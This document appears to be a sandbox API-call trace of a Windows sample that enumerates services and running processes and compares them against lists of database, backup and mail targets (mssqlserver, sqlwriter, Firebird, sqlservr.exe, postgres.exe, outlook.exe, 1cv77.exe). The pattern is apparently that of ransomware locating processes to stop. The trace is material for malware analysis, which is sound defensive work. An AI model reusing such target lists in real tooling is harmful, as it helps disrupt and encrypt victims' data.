	[0105.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0105.587] lstrlenW (lpString="SENS") returned 4
	[0105.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0105.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0105.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0105.588] lstrlenW (lpString="ShellHWDetection") returned 16
	[0105.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0105.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0105.588] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0105.588] lstrlenW (lpString="Spooler") returned 7
	[0105.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0105.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0105.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0105.588] lstrlenW (lpString="swprv") returned 5
	[0105.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0105.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0105.588] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0105.588] lstrlenW (lpString="SysMain") returned 7
	[0105.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0105.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0105.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0105.588] lstrlenW (lpString="Themes") returned 6
	[0105.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0105.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0105.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0105.588] lstrlenW (lpString="TrkWks") returned 6
	[0105.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0105.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0105.588] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0105.588] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0105.589] lstrlenW (lpString="UxSms") returned 5
	[0105.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0105.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0105.589] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0105.589] lstrlenW (lpString="VSS") returned 3
	[0105.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0105.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0105.589] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0105.589] lstrlenW (lpString="WdiServiceHost") returned 14
	[0105.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0105.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0105.589] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0105.589] lstrlenW (lpString="WdiSystemHost") returned 13
	[0105.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0105.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0105.589] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0105.589] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0105.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.589] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.589] lstrlenW (lpString="Winmgmt") returned 7
	[0105.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0105.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0105.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0105.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0105.589] lstrlenW (lpString="WPDBusEnum") returned 10
	[0105.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0105.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0105.590] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0105.590] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0105.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0105.590] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0105.590] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0
	[0105.592] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0105.592] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0105.593] lstrlenW (lpString="System") returned 6
	[0105.593] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0105.593] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0105.593] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0105.593] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0105.593] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0105.593] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0105.593] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0105.593] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0105.594] lstrlenW (lpString="smss.exe") returned 8
	[0105.594] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0105.594] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0105.594] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0105.594] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0105.594] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0105.594] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0105.594] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0105.594] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0105.595] lstrlenW (lpString="csrss.exe") returned 9
	[0105.595] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0105.595] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0105.595] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0105.595] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0105.595] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0105.595] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0105.595] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0105.595] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0105.595] lstrlenW (lpString="wininit.exe") returned 11
	[0105.595] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0105.595] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0105.595] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0105.596] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0105.596] lstrlenW (lpString="csrss.exe") returned 9
	[0105.596] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0105.597] lstrlenW (lpString="winlogon.exe") returned 12
	[0105.597] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0105.598] lstrlenW (lpString="services.exe") returned 12
	[0105.598] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0105.599] lstrlenW (lpString="lsass.exe") returned 9
	[0105.599] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0105.599] lstrlenW (lpString="lsm.exe") returned 7
	[0105.599] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.600] lstrlenW (lpString="svchost.exe") returned 11
	[0105.600] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.601] lstrlenW (lpString="svchost.exe") returned 11
	[0105.601] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.601] lstrlenW (lpString="svchost.exe") returned 11
	[0105.601] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.602] lstrlenW (lpString="svchost.exe") returned 11
	[0105.602] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.603] lstrlenW (lpString="svchost.exe") returned 11
	[0105.603] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0105.604] lstrlenW (lpString="audiodg.exe") returned 11
	[0105.604] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.605] lstrlenW (lpString="svchost.exe") returned 11
	[0105.605] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.605] lstrlenW (lpString="svchost.exe") returned 11
	[0105.605] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0105.606] lstrlenW (lpString="dwm.exe") returned 7
	[0105.607] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0105.607] lstrlenW (lpString="explorer.exe") returned 12
	[0105.607] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0105.608] lstrlenW (lpString="spoolsv.exe") returned 11
	[0105.608] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0105.609] lstrlenW (lpString="taskhost.exe") returned 12
	[0105.609] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.609] lstrlenW (lpString="svchost.exe") returned 11
	[0105.609] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0105.610] lstrlenW (lpString="taskeng.exe") returned 11
	[0105.610] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0105.611] lstrlenW (lpString="taskhost.exe") returned 12
	[0105.611] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0105.611] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0105.611] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0105.612] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0105.612] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0105.613] lstrlenW (lpString="zoo.exe") returned 7
	[0105.613] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0105.614] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0105.614] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0105.614] lstrlenW (lpString="determined.exe") returned 14
	[0105.614] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0105.615] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0105.615] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0105.616] lstrlenW (lpString="hansen mails.exe") returned 16
	[0105.616] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0105.616] lstrlenW (lpString="choirsas.exe") returned 12
	[0105.616] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0105.617] lstrlenW (lpString="skirt_races.exe") returned 15
	[0105.617] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0105.618] lstrlenW (lpString="actors_radius.exe") returned 17
	[0105.618] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0105.619] lstrlenW (lpString="scheduling.exe") returned 14
	[0105.619] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0105.619] lstrlenW (lpString="michael.exe") returned 11
	[0105.619] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0105.620] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0105.620] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0105.621] lstrlenW (lpString="pleasure.exe") returned 12
	[0105.621] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0105.621] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0105.621] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0105.622] lstrlenW (lpString="electron.exe") returned 12
	[0105.622] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0105.623] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0105.623] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0105.623] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0105.623] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0105.624] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0105.624] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0105.625] lstrlenW (lpString="pointer.exe") returned 11
	[0105.625] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0105.625] lstrlenW (lpString="gd logos.exe") returned 12
